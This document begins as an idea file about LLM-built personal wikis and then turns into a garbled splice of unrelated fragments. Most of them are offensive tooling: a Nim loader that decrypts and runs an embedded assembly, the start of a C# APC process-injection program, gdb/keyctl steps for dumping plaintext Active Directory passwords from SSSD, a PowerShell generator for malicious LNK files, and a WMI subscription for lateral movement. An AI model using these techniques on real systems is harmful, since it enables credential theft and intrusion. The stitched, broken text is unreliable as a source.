mepher

LLM Wiki

A pattern for building personal knowledge bases using LLMs.

This is an idea file, it is designed to be copy pasted to your own LLM Agent (e.g. OpenAI Codex, Claude Code, OpenCode / Pi, or etc.). Its goal is to communicate the high level idea, but your agent will build out the specifics in collaboration with you.

The core idea

Most people's experience with LLMs and documents looks like RAG: you upload a collection of files, the LLM retrieves relevant chunks at query time, and generates an answer. This works, but the LLM is rediscovering knowledge from scratch on every question. There's no accumulation. Ask a subtle question that requires synthesizing five documents, and the LLM has to find and piece together the relevant fragments every time. Nothing is built up. NotebookLM, ChatGPT file uploads, and most RAG systems work this way.

	import nimcrypto
	import winim/clr except `[]` # https://s3cur3th1ssh1t.github.io/Playing-with-OffensiveNim/ <-- thank you so much, 2 hours googling I almost went crazy

	#[
	All credit goes to @byt3bl33d3r (OffensiveNim) and @s3cur3th1ssh1t

	nimble install winim nimcrypto zippy
	nim c -d:danger -d:strip --opt:size rsrcDecryptAssembly.nim

	slurp = "staticRead" will read the file and store it in the variable (.rdata) on compile time.

	using System;
	using System.Diagnostics;
	using System.IO;
	using System.Runtime.InteropServices;

	namespace DinjectorWithQUserAPC
	{


	public class Program

	for who ever this interest, if you enable krb5_store_password_if_offline in the SSSD configuration, the AD password for accounts is stored in plaintext in the kernel keyring
	to dump the clear text password you can do :

	```
	gdb -p <PID_OF_SSSD>
	call system("keyctl show > /tmp/output")
	```

	From the /tmp/output locate the key_id for the user you want
	Example of an output is :

	# The MIT License (MIT)
	# Copyright (c) 2020 Alejandro Saenz
	# Copyright (c) 2020 Jonn Callahan
	#
	# Permission is hereby granted, free of charge, to any person obtaining
	# a copy of this software and associated documentation files (the "Software"),
	# to deal in the Software without restriction, including without limitation
	# the rights to use, copy, modify, merge, publish, distribute, sublicense,
	# and/or sell copies of the Software, and to permit persons to whom the Software
	# is furnished to do so, subject to the following conditions:

	`
	~/
	~
	×™×


	___
	__
	_

	import numpy as np
	from scipy.stats import entropy
	from math import log, e
	import pandas as pd

	import timeit

	def entropy1(labels, base=None):
	value,counts = np.unique(labels, return_counts=True)
	return entropy(counts, base=base)

	function Create-LNKPayload{
	<#
	.SYNOPSIS

	Generates a malicous LNK file

	.PARAMETER LNKName

	Name of the LNK file you want to create.

	# Define the signature - i.e. __EventFilter
	$EventFilterArgs = @{
	EventNamespace = 'root/cimv2'
	Name = 'LateralMovementEvent'
	Query = 'SELECT * FROM MSFT_WmiProvider_ExecMethodAsyncEvent_Pre WHERE ObjectPath="Win32_Process" AND MethodName="Create"'
	QueryLanguage = 'WQL'
	}

	$InstanceArgs = @{
	Namespace = 'root/subscription'